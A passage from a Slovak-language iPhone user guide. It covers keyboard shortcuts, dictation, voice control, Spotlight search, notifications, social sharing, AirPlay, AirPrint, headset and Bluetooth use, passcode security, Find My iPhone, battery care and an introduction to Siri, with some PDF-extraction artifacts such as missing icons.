Nahradenie slova s preklepom: Klepnite na podčiarknuté slovo a následne klepnite na
správnu verziu. Ak sa nezobrazí požadované slovo, jednoducho ho prepíšte.
Vypínanie alebo zapínanie automatických opráv: Prejdite do Nastavenia > Všeobecné >
Klávesnica.
Skratky a váš osobný slovník
Skratky vám umožňujú napísať dlhé slovo alebo frázu zadaním iba niekoľkých znakov. Po
zadaní skratky sa vám zobrazí celý text. Napríklad skratka „snc“ sa po zadaní rozšíri na „Som na
ceste!“.
Vytvorenie skratky: Prejdite do Nastavenia > Všeobecné > Klávesnica a potom klepnite na
Pridať novú skratku.
Vypnutie opravovania slov alebo fráz: Vytvorte skratku, no pole Skratka ponechajte prázdne.
Upravenie skratky: Prejdite do Nastavenia > Všeobecné > Klávesnica a potom klepnite
na skratku.
Ak chcete, aby bol váš osobný slovník aktuálny na vašich ostatných iOS zariadeniach:
Prejdite do Nastavenia > iCloud a zapnite možnosť Dokumenty a dáta.
Rozloženia klávesnice
Aplikáciu Nastavenia môžete použiť na nastavenie rozložení klávesnice na obrazovke
alebo bezdrôtovej Apple klávesnice používanej s iPhonom. Dostupné rozloženia závisia
od jazyka klávesnice. Viac v časti Bezdrôtová Apple klávesnica nižšie, ako aj v časti
Príloha B, Medzinárodné klávesnice, na strane 150.
Výber rozložení klávesnice: Prejdite do Nastavenia > Všeobecné > Medzinárodné > Klávesnice
a následne si vyberte žiadané rozloženia.Kapitola 3 Základy 27
Bezdrôtová Apple klávesnica
Bezdrôtovú Apple klávesnicu (dostupná osobitne) môžete používať na zadávanie textu na
iPhone. Bezdrôtová Apple klávesnica sa pripája k iPhonu prostredníctvom Bluetooth, takže ju
najprv musíte spárovať s iPhonom. Viac v časti Párovanie zariadení Bluetooth na strane 35.
Po spárovaní sa klávesnica pripojí vždy, keď bude spárovaný iPhone v jej dosahu (do
vzdialenosti približne 10 metrov). Keď je bezdrôtová klávesnica pripojená, po klepnutí na
textové pole sa nezobrazí softvérová klávesnica na obrazovke. Ak klávesnicu nepoužívate,
vypnite ju. Ušetríte tak jej batériu.
Prepínanie jazyka počas používania bezdrôtovej klávesnice: Stlačením klávesov Commandmedzerník zobrazíte zoznam dostupných jazykov. Opätovným stlačením medzerníka, kým je
stlačený kláves Command, vyberiete iný jazyk.
Vypnutie bezdrôtovej klávesnice: Podržte tlačidlo napájania na klávesnici, až kým na nej
nezhasne zelená kontrolka.
iPhone sa odpojí od klávesnice po jej vypnutí alebo keď je mimo jej dosahu.
Zrušenie spárovania s bezdrôtovou klávesnicou: Prejdite do Nastavenia > Všeobecné >
Bluetooth, klepnite na vedľa názvu klávesnice a potom klepnite na Odstrániť
toto zariadenie.
Diktovanie
Na iPhone 4S alebo novšom môžete text namiesto písania diktovať. Ak chcete diktovať text,
musí byť zapnutá funkcia Siri a iPhone musí byť pripojený na internet. Do textu môžete
pridávať interpunkciu a takisto zadávať príkazy na formátovanie.
Poznámka: Prenos dát v mobilnej sieti môže byť spoplatnený.
Zapnutie diktovania: Prejdite do Nastavenia > Všeobecné > Siri a zapnite Siri.
Diktovanie textu: Na dotykovej klávesnici klepnite na a môžete začať hovoriť. Po skončení
klepnite na Hotovo.
Klepnite, ak chcete začať diktovať. Klepnite, ak chcete začať diktovať.
Tieto sa zobrazia počas
diktovania textu
pomocou funkcie Siri.
Tieto sa zobrazia počas
diktovania textu
pomocou funkcie Siri.
Ak chcete pridať text, klepnite ešte raz na a pokračujte v diktovaní. Ak chcete vložiť text,
klepnutím najprv vyberte miesto na jeho vloženie. Pomocou diktovania môžete označený text
takisto nahradiť.
Namiesto klepnutia na na klávesnici si môžete iPhone priložiť k uchu a začať diktovať.
Diktovanie ukončíte tak, že iPhone presuniete naspäť pred seba.
Pridanie interpunkcie alebo formátovania do textu: Vyslovte interpunkčný alebo formátovací
príkaz. Kapitola 3 Základy 28
Napríklad, „Drahá Mária čiarka šek je v poštovej zásielke výkričník“ sa zobrazí ako „Drahá Mária,
šek je v poštovej zásielke!“
Medzi interpunkčné a formátovacie príkazy patria nasledovné:
• úvodzovka... uzatváracia úvodzovka
• nový odsek
• veľké písmená – nasledujúce slovo začína veľkým písmenom
• zap. veľké písmená... vyp. veľké písmená – prvé písmeno každého slova veľkým písmenom
• všetko veľkým písmenom – celé nasledujúce slovo veľkým písmenom
• všetko veľkým písmenom zap.... všetko veľkým písmenom vyp. – označené slová celé veľkým
písmenom
• žiadne veľké písmená zap.... žiadne veľké písmená vyp. – označené slová celé malým
písmenom
• bez medzery zap.... bez medzery vyp. – zadanie série slov spolu
• smajlík – zadanie symbolu :-)
• smutko – zadanie symbolu :-(
• žmurko – zadanie symbolu ;-)
Ovládanie hlasom
Ovládanie hlasom vám umožňuje uskutočňovať telefónne hovory a ovládať prehrávanie hudby
pomocou hlasových príkazov. Na iPhone 4S alebo novšom môžete na ovládanie iPhonu hlasom
používať aj Siri. Viac v časti kapitola 4, Siri, na strane 39.
Poznámka: Keď je funkcia Siri zapnutá, Ovládanie hlasom a nastavenia Ovládanie hlasom nie
sú dostupné.
Používanie Ovládania hlasom: Stlačte a podržte tlačidlo Domov , až kým sa nezobrazí
obrazovka ovládania hlasom a nezaznie pípnutie. Môžete tiež stlačiť a podržať stredné tlačidlo
na svojej náhlavnej sade. Viac v časti Apple náhlavná sada na strane 34.
Pre správne fungovanie Ovládania hlasom:
• Hovorte prirodzene a zrozumiteľne.
• Vyslovujte len príkazy pre iPhone, mená alebo čísla. Príkazy vyslovujte s krátkymi pauzami.
• Používajte celé mená.Kapitola 3 Základy 29
Ovládanie hlasom automaticky očakáva príkazy v jazyku, aký je nastavený pre iPhone
(v Nastavenia > Všeobecné > Medzinárodné > Jazyk). Nastavenia Ovládania hlasom vám
umožňujú meniť jazyk hovorených príkazov. Pre niektoré jazyky sú dostupné rôzne formy
a nárečia.
Zmena krajiny alebo jazyka: Prejdite do Nastavenia > Všeobecné > Medzinárodné >
Ovládanie hlasom a následne klepnite na požadovaný jazyk alebo krajinu.
Ovládanie hlasom je pre hudbu vždy zapnuté, no môžete vypnúť Hlasové vytáčanie, keď je
iPhone zamknutý.
Vypnutie Hlasového vytáčania, keď je iPhone zamknutý: Prejdite do Nastavenia >
Všeobecné > Uzamykanie heslom a vypnite Hlasové vytáčanie (táto možnosť je dostupná len
ak je vypnuté Siri v Nastavenia > Všeobecné > Siri). Ak chcete použiť hlasové vytáčanie, musíte
najprv odomknúť iPhone.
Jednotlivé príkazy nájdete v časti Vykonávanie hovorov na strane 46 a Siri a Ovládanie
hlasom na strane 65.
Ďalšie informácie o používaní ovládania hlasom, vrátane informácií o používaní ovládania
hlasom v rôznych jazykoch, nájdete na adrese support.apple.com/kb/HT3597.
Vyhľadávanie
Na iPhone môžete prehľadávať množstvo aplikácií, ako aj encyklopédiu Wikipédia a
vyhľadávať na internete. Môžete vyhľadať konkrétnu aplikáciu alebo všetky naraz pomocou
Spotlightu. Spotlight zároveň vyhľadáva aj v názvoch aplikácií na iPhone, takže ak ich máte
nainštalovaných veľa, Spotlight môžete použiť na ich vyhľadanie a spustenie.
Vyhľadanie konkrétnej aplikácie: Zadajte text do vyhľadávacieho poľa.
Prehľadávanie iPhonu pomocou Spotlightu: Na prvej ploche potiahnite prst doprava alebo
na akejkoľvek ploche stlačte tlačidlo Domov . Zadajte text do vyhľadávacieho poľa.
Počas písania sa začnú zobrazovať výsledky vyhľadávania. Ak chcete skryť klávesnicu a zobraziť
viac výsledkov, klepnite na Hľadať. Klepnite na položku v zozname výsledkov vyhľadávania pre
jej otvorenie. Podľa ikon budete vedieť, z ktorých aplikácií pochádzajú výsledky.
iPhone môže na základe predchádzajúcich vyhľadávaní zobraziť najpopulárnejší výsledok.Kapitola 3 Základy 30
Spotlight prehľadáva nasledovné:
• Kontakty — všetok obsah
• Aplikácie — názvy
• Hudba — názvy skladieb a albumov, mená interpretov, názvy podcastov, videí a audiokníh
• Podcasty — názvy
• Videá — názvy
• Audioknihy — názvy
• Poznámky —text poznámok
• Kalendár (udalosti) – názvy udalostí, pozvánky, miesta a poznámky
• Mail — polia Od, Pre a Predmet v správach vo všetkých účtoch (text správ nie je
prehľadávaný)
• Pripomienky — názvy
• Správy — mená a text správ
Prehľadávanie internetu alebo Wikipédie cez Spotlight: Prejdite rolovaním na spodok
výsledkov vyhľadávania a následne klepnite na Hľadať na webe alebo Hľadať vo Wikipedii.
Otvorenie aplikácie pomocou vyhľadávania: Zadajte celý názov aplikácie alebo jej časť
a následne klepnite na danú aplikáciu.
Výber položiek, ktoré sa majú prehľadávať a poradie ich prehľadávania: Prejdite do
Nastavenia > Všeobecné > Spotlight vyhľadávanie.
Hlásenia
Aplikácie na iPhone vás môžu upozorňovať, takže nezmeškáte žiadnu dôležitú udalosť.
Upozornenie sa môže dočasne zobraziť ako banner vo vrchnej časti obrazovky, ktorý sa
po určitom čase stratí, alebo ako okno v strede obrazovky, ktoré tam ostane, až kým naň
nezareagujete. Niektoré aplikácie dokážu navyše zobraziť odznak na svojej ikone na ploche,
vďaka ktorému viete, koľko nových položiek je k dispozícii — napríklad počet nových emailov.
Ak sa vyskytne nejaký problém — napríklad ak nie je možné odoslať správu — zobrazí sa na
odznaku výkričník . Odznak s číslom na priečinku označuje celkový počet upozornení od
aplikácií, ktoré sa nachádzajú v priečinku.
Upozornenia sa môžu zobrazovať aj na zamknutej obrazovke.
Odpovedanie na upozornenie keď je iPhone zamknutý: Potiahnite prst cez upozornenie
zľava doprava.
Centrum hlásení je miestom, kde sú zobrazené všetky upozornenia. Ak ste teda nemohli
reagovať pri prvom zobrazení upozornenia, môžete sa k nemu neskôr vrátiť v centre hlásení.
Upozornia môžu byť:
• Zmeškané telefónne hovory a odkazy
• Nové emailové správy
• Nové textové správy
• PripomienkyKapitola 3 Základy 31
• Udalosti kalendára
• Priateľské žiadosti (Game Center)
Môžete tiež zobraziť lokálne počasie a vlastné informácie o akciách. Ak ste sa prihlásili do
svojho Twitter alebo Facebook účtu, môžete na tieto účty odosielať tweety a zverejňovať
príspevky priamo z centra hlásení.
Zobrazenie centra hlásení: Potiahnite prst z vrchnej časti obrazovky nadol. Ďalšie hlásenia
zobrazíte rolovaním v zozname.
• Odpovedanie na upozornenie: Klepnite na aplikáciu.
• Odstránenie upozornenia: Klepnite na a potom na Vyčistiť.
Spravovanie upozornení pre aplikácie: Prejdite do Nastavenia > Hlásenia. Viac v časti Funkcia
Nerušiť a hlásenia na strane 138.
Výber zvukov upozornení, úprava hlasitosti upozornenia a zapínanie alebo vypínanie
vibrovania: Prejdite do Nastavenia > Zvuky.
Zdieľanie
iPhone ponúka množstvo spôsobov zdieľania informácií s ostatnými.
Zdieľanie vrámci aplikácií
V mnohých aplikáciách zobrazíte klepnutím na možnosti zdieľania a ďalšie akcie, ako
napríklad kopírovanie a vkladanie. Možnosti sa líšia v závislosti od používanej aplikácie.Kapitola 3 Základy 32
Facebook
Prihláste sa do svojho Facebook účtu (prípadne si vytvorte nový účet) v Nastaveniach
a povolíte zverejňovanie príspevkov priamo z mnohých aplikácií na iPhone.
Prihlásenie sa do Facebook účtu alebo jeho vytvorenie: Prejdite do Nastavenia > Facebook.
Pridávanie príspevkov z centra hlásení: Klepnite na Klepnutím zverejniť.
Pridávanie príspevkov pomocou Siri: Povedzte „Post to Facebook…“.
Pridávanie príspevkov z aplikácie: Vo väčšine aplikácií klepnite na . V aplikácii Mapy
klepnite na , klepnite na Zdieľať polohu a potom klepnite na Facebook.
Nastavenie možností pre Facebook: Prejdite do Nastavenia > Facebook a môžete:
• Aktualizovať kontakty na iPhone použitím mien a kontaktov z Facebooku
• Povoliť aplikáciám App Store, Kalendár, Kontakty alebo iTunes používať váš účet
Inštalácia aplikácie Facebook: Prejdite do Nastavenia > Facebook a klepnite na Inštalovať.
Twitter
Prihláste sa do svojho Twitter účtu (prípadne si vytvorte nový účet) v nastaveniach a povolíte
zverejňovanie Tweetov s prílohami priamo z mnohých aplikácií na iPhone.
Prihlásenie sa do Twitter účtu alebo jeho vytvorenie: Prejdite do Nastavenia > Twitter.
Pridávanie Tweetov z centra hlásení: Klepnite na Klepnutím odoslať Tweet.
Pridávanie Tweetov pomocou Siri: Povedzte „Tweet…“.
Pridávanie Tweetov z aplikácie: Zobrazte položku, klepnite na a potom klepnite na Twitter.
Ak ikona nie je zobrazená, klepnite na obrazovku. Ak chcete pripojiť aj vašu polohu, klepnite
na Pridať polohu.
Odoslanie polohy v aplikácii Mapy ako Tweetu: Klepnite na značku polohy, klepnite na ,
klepnite na Zdieľať polohu a potom klepnite na Twitter.
Počas zostavovania Tweetu je v pravom dolnom rohu obrazovky aplikácie Twitter zobrazený
počet zostávajúcich znakov. Prílohy použijú časť zo 140 znakov Tweetu.
Pridanie užívateľským mien a fotiek z Twittera do kontaktov: Prejdite do Nastavenia >
Twitter a potom klepnite na Aktualizovať kontakty.
Inštalácia aplikácie Twitter: Prejdite do Nastavenia > Twitter a potom klepnite na Inštalovať.
Viac informácií o používaní aplikácie Twitter získate klepnutím na Ja a potom na Pomocník v
aplikácii Twitter.
Pripájanie iPhonu k televízoru alebo inému zariadeniu
Na streamovanie obsahu do HDTV môžete použiť AirPlay s Apple TV, prípadne môžete pripojiť
iPhone k svojmu televízoru pomocou káblov.
AirPlay
Pomocou funkcie AirPlay môžete bezdrôtovo streamovať hudbu, fotky a videá na Apple TV a
ďalších zariadení podporujúcich AirPlay. Ovládanie AirPlay sa automaticky zobrazí v prípade, ak
je AirPlay zariadenie dostupné v rovnakej Wi-Fi sieti, ku ktorej je pripojený váš iPhone. Môžete
tiež zrkadliť obrazovku svojho iPhonu na TV.
Streamovanie obsahu na zariadenie podporujúce AirPlay: Klepnite na a
vyberte zariadenie.Kapitola 3 Základy 33
Prístup k ovládaniu AirPlay a ovládaniu zvuku počas používania aplikácie: Ak je
zapnutá obrazovka, stlačte tlačidlo Domov dvakrát a rolovaním prejdite do ľavej časti
panela multitaskingu.
Prepnutie prehrávania späť na iPhone: Klepnite na a vyberte iPhone.
Zrkadlenie obrazovky iPhonu na TV: Klepnite na v ľavej časti panela multitaskingu,
vyberte Apple TV a potom klepnite na Zrkadlenie. Ak je zapnuté zrkadlenie AirPlay, zobrazí
sa vo vrchnej časti obrazovky iPhonu modrá lišta. Všetko to, čo vidíte na obrazovke iPhonu sa
zobrazí aj na TV.
Pripájanie iPhonu k TV pomocou káblov
Na pripojenie iPhonu k TV, projektoru alebo inému externému displeju môžete použiť
Apple káble a adaptéry (dostupné osobitne). Ďalšie informácie nájdete na adrese
support.apple.com/kb/HT4108.
Tlač pomocou funkcie AirPrint
AirPrint vám umožňuje bezdrôtovú tlač na tlačiarňach s funkciou AirPrint z týchto aplikácií
systému iOS:
• Mail — emailové správy a prílohy, ktoré je možné prezerať pomocou funkcie Náhľad
• Fotky a Kamera — fotky
• Safari — webové stránky, PDF dokumenty a ďalšie prílohy, ktoré je možné prezerať pomocou
funkcie Náhľad
• iBooks — PDF dokumenty
• Mapy — výsek mapy zobrazený na obrazovke
• Poznámky — aktuálne zobrazenú poznámku
AirPrint môžu podporovať aj ďalšie aplikácie dostupné na App Store.
iPhone a tlačiareň musia byť pripojené k rovnakej Wi-Fi sieti. Ďalšie informácie o funkcii AirPrint
nájdete na adrese support.apple.com/kb/HT4356.
Tlačenie dokumentu: Klepnite na alebo (v závislosti od používanej aplikácie) a potom
klepnite na Tlačiť.
Zobrazenie stavu tlačovej úlohy: Dvakrát stlačte tlačidlo Domov a potom klepnite na
Centrum tlače v paneli multitaskingu. Odznak na ikone zobrazuje, koľko dokumentov čaká na
tlač vrátane toho aktuálneho.
Zrušenie tlačovej úlohy: V centre tlače vyberte v prípade potreby úlohu a potom klepnite na
Zrušiť tlač.Kapitola 3 Základy 34
Apple náhlavná sada
Apple EarPods s ovládačom a mikrofónom (iPhone 5) a Apple slúchadlá s ovládačom a
mikrofónom (iPhone 4 a staršie modely) obsahujú mikrofón, tlačidlá hlasitosti a integrované
tlačidlo umožňujúce odpovedať na hovory a ovládať prehrávanie audia a videa.
Stredné tlačidlo Stredné tlačidlo
Pomocou náhlavnej sady môžete po jej pripojení počúvať hudbu a telefonovať. Stlačením
stredného tlačidla slúchadiel ovládate prehrávanie hudby a môžete odpovedať na hovory aj
v prípade, ak je iPhone zamknutý.
Nastavenie hlasitosti: Stlačte tlačidlo alebo .
Prehrávanie hudby môžete ovládať pomocou stredného tlačidla.
• Pozastavenie skladby alebo videa: Stlačte stredné tlačidlo. Opätovným stlačením tlačidla
obnovíte prehrávanie.
• Skok na ďalšiu skladbu: Stlačte stredné tlačidlo dvakrát rýchlo po sebe.
• Návrat na predchádzajúcu skladbu: Stlačte stredné tlačidlo trikrát rýchlo po sebe.
• Rýchle prevíjanie dopredu: Stlačte stredné tlačidlo dvakrát rýchlo po sebe a podržte ho.
• Prevíjanie dozadu: Stlačte stredné tlačidlo trikrát rýchlo po sebe a podržte ho.
Použitie stredného tlačidla na prijímanie alebo vykonávanie hovorov:
• Prijatie prichádzajúceho hovoru: Stlačte stredné tlačidlo.
• Ukončenie prebiehajúceho hovoru: Stlačte stredné tlačidlo.
• Zamietnutie prichádzajúceho hovoru: Stlačte a podržte stredné tlačidlo približne na 2
sekundy a potom ho pustite. Dve hlboké pípnutia potvrdia odmietnutie hovoru.
• Prepnutie na prichádzajúci alebo podržaný hovor a podržanie prebiehajúceho hovoru: Stlačte
stredné tlačidlo. Opätovným stlačením tlačidla prepnete na pôvodný hovor.
• Prepnutie na prichádzajúci alebo podržaný hovor a ukončenie prebiehajúceho hovoru: Stlačte
a podržte stredné tlačidlo približne na 2 sekundy a potom ho pustite. Dve hlboké pípnutia
potvrdia ukončenie prvého hovoru.
Spustenie Siri alebo ovládania hlasom: Stlačte a podržte stredné tlačidlo.
Viac v časti kapitola 4, Siri, na strane 39 alebo Ovládanie hlasom na strane 28.
Ak práve používate náhlavnú sadu a niekto vám volá, vyzváňací tón bude znieť nielen
z reproduktora iPhonu, ale aj v náhlavnej sade.Kapitola 3 Základy 35
Bluetooth zariadenia
S iPhonom môžete použiť bezdrôtovú Apple klávesnicu a ďalšie Bluetooth zariadenia ako
sú Bluetooth náhlavné sady, sady do auta a stereo slúchadlá. Podporované Bluetooth profily
nájdete na adrese support.apple.com/kb/HT3647.
Párovanie zariadení Bluetooth
UPOZORNENIE: Dôležité informácie týkajúce sa prevencie pred poškodením sluchu
a rušivých vplyvov počas šoférovania nájdete v časti Dôležité informácie týkajúce sa
bezpečnosti na strane 153.
Bluetooth zariadenie musíte pred použitím spárovať so svojim iPhonom.
Párovanie Bluetooth zariadenia s iPhonom:
1 Nastavte zariadenie tak, aby bolo viditeľné.
Pozrite si dokumentáciu dodanú so zariadením. V prípade bezdrôtovej Apple klávesnice stlačte
tlačidlo napájania.
2 Prejdite do Nastavenia > Bluetooth a zapnite Bluetooth.
3 Zvoľte zariadenie a v prípade zobrazenia výzvy zadajte prístupový kľúč alebo kód PIN. Heslo
alebo PIN kód zariadenia nájdete v návode na použitie, ktorý je súčasťou zariadenia.
Informácie o používaní bezdrôtovej Apple klávesnice nájdete v téme Bezdrôtová Apple
klávesnica na strane 27.
Ak chcete s iPhonom používať Bluetooth náhlavnú sadu, prečítajte si k nej pribalenú
dokumentáciu.
Návrat audio výstupu do iPhonu, keď je pripojená Bluetooth náhlavná sada: Vypnite
zariadenie alebo zrušte spárovanie so zariadením, prípadne vypnite Bluetooth v časti
Nastavenia > Bluetooth. Vždy, keď sa zariadenie dostane mimo dosahu siete, audiovýstup sa
vráti do iPhonu. Na prepnutie audio výstupu do iPhonu môžete takisto použiť AirPlay . Viac v
časti AirPlay na strane 32.
Stav Bluetooth
Po spárovaní zariadenia s iPhonom sa v stavovom riadku vo vrchnej časti obrazovky zobrazí
ikona Bluetooth:
• alebo : Bluetooth je zapnuté a spárované so zariadením. (Táto farba závisí od aktuálnej
farby stavového riadku.)
• : Bluetooth je zapnuté a spárované so zariadením, ale zariadenie je mimo dosahu
a vypnuté.
• Žiadna ikona Bluetooth: Bluetooth nie je spárované so zariadením.
Zrušenie párovania Bluetooth zariadenia a iPhonu
Ak Bluetooth zariadenie nebudete viac používať, môžete zrušiť jeho spárovanie s iPhonom.
Zrušenie párovania Bluetooth zariadenia: Prejdite do Nastavenia > Bluetooth a zapnite
Bluetooth. Klepnite na vedľa názvu zariadenia a potom klepnite na „Odstrániť toto
zariadenie“.Kapitola 3 Základy 36
Zdieľanie súborov
Na prenos súborov medzi iPhonom a svojim počítačom môžete použiť iTunes. Na iPhone si
môžete tiež prezerať súbory prijaté v podobe príloh emailových správ. Viac v časti Čítanie
emailov na strane 54. Ak máte na viac ako jednom zariadení rovnaké aplikácie podporujúce
iCloud, môžete na automatickú synchronizáciu aktuálnych verzií dokumentov medzi
zariadeniami použiť iCloud. Viac v časti iCloud na strane 16.
Prenos súborov pomocou aplikácie iTunes: Pripojte iPhone k počítaču pomocou priloženého
kábla. V aplikácii iTunes na svojom počítači vyberte iPhone a kliknite na tlačidlo Aplikácie.
Pomocou časti Zdieľanie súborov môžete prenášať dokumenty medzi iPhonom a počítačom.
Aplikácie podporujúce zdieľanie súborov sú uvedené v zozname Aplikácie na zdieľanie
súborov v iTunes. Ak chcete vymazať súbor, vyberte ho v zozname Súbory a následne stlačte
kláves Delete.
Bezpečnostné funkcie
Bezpečnostné funkcie vám pomáhajú chrániť informácie uložené v iPhone.
Heslá a ochrana dát
Pre zvýšenie bezpečnosti si môžete nastaviť heslo, ktoré bude potrebné zadať vždy pri zapnutí
alebo zobudení iPhonu, ako aj pri pokuse o prístup k nastaveniam uzamykania heslom.
Nastavením hesla sa zapne ochrana údajov, ktorá vaše heslo používa ako šifrovací kľúč pri
šifrovaní emailových správ a príloh uchovávaných na iPhone. (Niektoré aplikácie dostupné
v obchode App Store môžu takisto využívať ochranu dát.) Upozornenie v spodnej časti
obrazovky Uzamykanie heslom v nastaveniach indikuje, že ochrana dát je zapnutá.
Dôležité: Ak chcete povoliť ochranu dát na iPhone 3GS, ktorý nebol dodaný so systémom iOS
4 alebo novšou verziou, musíte na ňom obnoviť iOS. Viac v časti Aktualizácia a obnova softvéru
na zariadení iPhone na strane 159.
Nastavenie hesla: Prejdite do Nastavenia > Všeobecné > Uzamykanie heslom, následne
klepnite na možnosť Zapnúť heslo a nastavte 4-miestne heslo.
Použitie bezpečnejšieho hesla: Ak chcete zlepšiť zabezpečenie, vypnite Jednoduché heslo a
používajte dlhšie heslo, tvorené kombináciou číslic, písmen, interpunkcie a špeciálnych znakov.
Ak chcete odomknúť iPhone keď je chránený kombinovaným heslom, zadajte heslo pomocou
klávesnice. Ak preferujete odomykanie iPhonu pomocou číselnej klávesnice, môžete nastaviť
dlhšie heslo len za použitia číslic.
Zablokovanie prístupu k Siri, keď je iPhone uzamknutý: Prejdite do Nastavenia >
Všeobecné > Uzamykanie heslom a vypnite Siri.
Vypnutie Hlasového vytáčania, keď je iPhone zamknutý: Prejdite do Nastavenia >
Všeobecné > Uzamykanie heslom a vypnite Hlasové vytáčanie. (Dostupné len ak je Siri vypnuté
v Nastavenia > Všeobecné > Siri.)
Viac v časti Uzamykanie heslom na strane 143.Kapitola 3 Základy 37
Nájsť môj iPhone
Funkcia Nájsť môj iPhone vám umožňuje nájsť a zabezpečiť svoj iPhone pomocou bezplatnej
aplikácie Nájsť môj iPhone na inom iPhone, iPade alebo iPode touch, prípadne pomocou Macu
alebo PC s webovým prehliadačom prihláseným na stránke www.icloud.com.
Nájsť môj iPhone obsahuje:
• Prehrať zvuk: Prehráva zvuk po dobu dvoch minút.
• Režim strateného zariadenia: Umožňuje okamžite zamknúť stratený iPhone pomocou hesla a
odoslať naň správu s vašimi kontaktnými údajmi. iPhone takisto sleduje a hlási svoju polohu,
takže sa v aplikácii Nájsť môj iPhone môžete pozrieť, kde sa nachádza.
• Vymazať iPhone: Chráni vaše súkromie vymazaním všetkých informácií a médií z iPhonu
a obnovením iPhonu na pôvodné výrobné nastavenia.
Dôležité: Ak chcete používať tieto funkcie, musí byť na iPhone ešte pred jeho stratením
zapnutá v nastaveniach iCloudu funkcia Nájsť môj iPhone a zároveň musí byť iPhone pripojený
na internet.
Zapnutie funkcie Nájsť môj iPhone: Prejdite do Nastavenia > iCloud a zapnite Nájsť
môj iPhone.
Batéria
iPhone obsahuje vstavanú nabíjateľnú lítiumiónovú batériu. Ďalšie informácie o batérii, vrátane
tipov na predĺženie jej životnosti, nájdete na webovej stránke www.apple.com/sk/batteries.
UPOZORNENIE: Dôležité bezpečnostné informácie týkajúce sa batérie a nabíjania iPhonu
nájdete v časti Dôležité informácie týkajúce sa bezpečnosti na strane 153.
Nabíjanie batérie: Pripojte iPhone do elektrickej zásuvky pomocou priloženého kábla
a napájacieho USB adaptéra.
Poznámka: Pripojením iPhonu k napájaniu môžete spustiť zálohovanie na iCloud alebo
bezdrôtovú synchronizáciu s iTunes. Viac v časti Zálohovanie iPhonu na strane 157 a
Synchronizácia s iTunes na strane 17.
Nabíjanie batérie a synchronizácia iPhonu pomocou počítača: Pripojte iPhone k počítaču
pomocou priloženého kábla. Prípadne pripojte iPhone k počítaču pomocou priloženého kábla
a docku (predávaný samostatne).Kapitola 3 Základy 38
Pokiaľ vaša klávesnica nemá vysokovýkonný port USB 2.0 alebo 3.0, musíte iPhone pripojiť
k portu USB 2.0 alebo 3.0 priamo na svojom počítači.
Dôležité: Batéria iPhonu sa môže vybiť, ak je pripojený k počítaču, ktorý je vypnutý, prípadne
sa nachádza v režime spánku alebo v úspornom režime.
Kapacitu batérie a stav nabíjania batérie zobrazuje ikona v pravom hornom rohu obrazovky.
Nabíja sa Nabíja sa Nabíjanie dokončené Nabíjanie dokončené
Percentuálne zobrazenie úrovne nabitia batérie: Prejdite do Nastavenia > Všeobecné >
Štatistiky a zapnite nastavenie v časti Používanie batérie.
Ak nabíjate batériu počas synchronizácie iPhonu, môže nabíjanie trvať dlhšiu dobu.
Dôležité: Ak je batéria iPhonu takmer úplne vybitá, môže sa zobraziť jeden z nasledujúcich
obrázkov, ktoré signalizujú, že sa iPhone pred akýmkoľvek ďalším použitím potrebuje nabíjať
po dobu približne 10 minút. Ak je iPhone takmer úplne vybitý, jeho displej môže ostať vypnutý
po dobu až 2 minút, kým sa na ňom zobrazí jeden zo stavových obrázkov signalizujúcich
vybitie batérie.
alebo alebo
Nabíjateľné batérie majú obmedzený počet nabíjacích cyklov a je možné, že budete musieť
batériu po čase vymeniť.
Výmena batérie: Batériu v iPhone nemôže vymieňať užívateľ, ale len pracovník
autorizovaného servisu. Navštívte webovú stránku www.apple.com/sk/batteries/.4
39
Čo je Siri?
Siri je inteligentná osobná asistentka, ktorá vám pomocou hovoreného slova pomáha
vykonávať rôzne úlohy. Siri rozumie prirodzenej reči, takže sa nemusíte učiť špecifické príkazy
alebo si pamätať kľúčové slová. Na danú vec sa môžete opýtať rôznymi spôsobmi. Môžete
napríklad povedať „Set the alarm for 6:30 a.m.“ alebo „Wake me at 6:30 in the morning“. Tak
alebo onak, Siri to pochopí.
UPOZORNENIE: Dôležité informácie týkajúce sa rušivých vplyvov počas šoférovania nájdete v
časti Dôležité informácie týkajúce sa bezpečnosti na strane 153.
Poznámka: Funkcia Siri je dostupná na iPhone 4S a novších modeloch a vyžaduje pripojenie
na internet. Prenos dát v mobilnej sieti môže byť spoplatnený. Služba Siri nemusí byť
dostupná pre všetky jazyky alebo vo všetkých oblastiach a jej funkcie sa môžu v jednotlivých
oblastiach líšiť.
Pomocou Siri môžete napísať a odoslať správu, naplánovať si stretnutie, vykonať telefonický
hovor, získať trasu cesty, nastaviť pripomienku, prehľadať web a mnoho ďalších aktivít! A
to všetko jednoduchým hovorením. Ak Siri potrebuje viac informácií alebo si potrebuje
vyjasniť niektorú z vašich požiadaviek, položí vám otázku. Siri tiež používa informácie z vašich
kontaktov, hudobnej knižnice, kalendárov, pripomienok a podobne, aby porozumela tomu, o
čom rozprávate.
Siri bezproblémovo spolupracuje s väčšinou vstavaných aplikácií na iPhone a podľa potreby
používa vyhľadávanie a lokalizačné služby. Siri môžete požiadať aj o otvorenie aplikácie.
Siri toho môžete povedať veľmi veľa — pre začiatočníkov ponúkame nasledovné príklady:
• Call Joe
• Set the timer for 30 minutes
• Directions to the nearest Apple store
• Is it going to rain tomorrow?
• Open Passbook
• Post to Facebook
• Tweet
SiriKapitola 4 Siri 40
Používanie Siri
Spustenie Siri
Siri spustíte stlačením tlačidla.
Spustenie Siri: Stlačte a podržte tlačidlo Domov , až kým sa nezobrazí Siri. Ak ste počas
nastavovania iPhonu nezapli Siri, prejdite do Nastavenia > Všeobecné > Siri.
Ozvú sa dve rýchle pípnutia a na obrazovke sa objaví veta „What can I help you with?“.
Jednoducho začnite rozprávať. Rozsvieti sa ikona mikrofónu, ktorá naznačuje, že vás Siri počuje.
Keď začnete konverzáciu so Siri, klepnite na ikonu mikrofónu a pokračujte v dialógu.
Siri počká, kým neskončíte, no môžete klepnúť na ikonu mikrofónu a dať tak Siri najavo, že ste
dohovorili. Toto je užitočné v prípade, že ste v prostredí, kde je veľa okolitého hluku. Môže to
tiež urýchliť vašu konverzáciu so Siri, pretože nebude musieť čakať na vašu pauzu.
Keď prestanete rozprávať, Siri zobrazí čo počula a odpovie. Siri často zobrazí súvisiace
informácie, ktoré môžu byť užitočné. Ak sa informácia týka aplikácie, napríklad textovej správy,
ktorú ste napísali, prípadne lokality, na ktorú ste sa spýtali, jednoducho klepnutím na displej
otvorte príslušnú aplikáciu a zobrazte podrobnosti a ďalšie akcie.
Čo Siri počul Čo Siri počul
Klepnite pre zadanie
hlasového povelu
pre Siri.
Klepnite pre zadanie
hlasového povelu
pre Siri.
Odpoveď Siri Odpoveď Siri
Súvisiace
informácie —
klepnutím
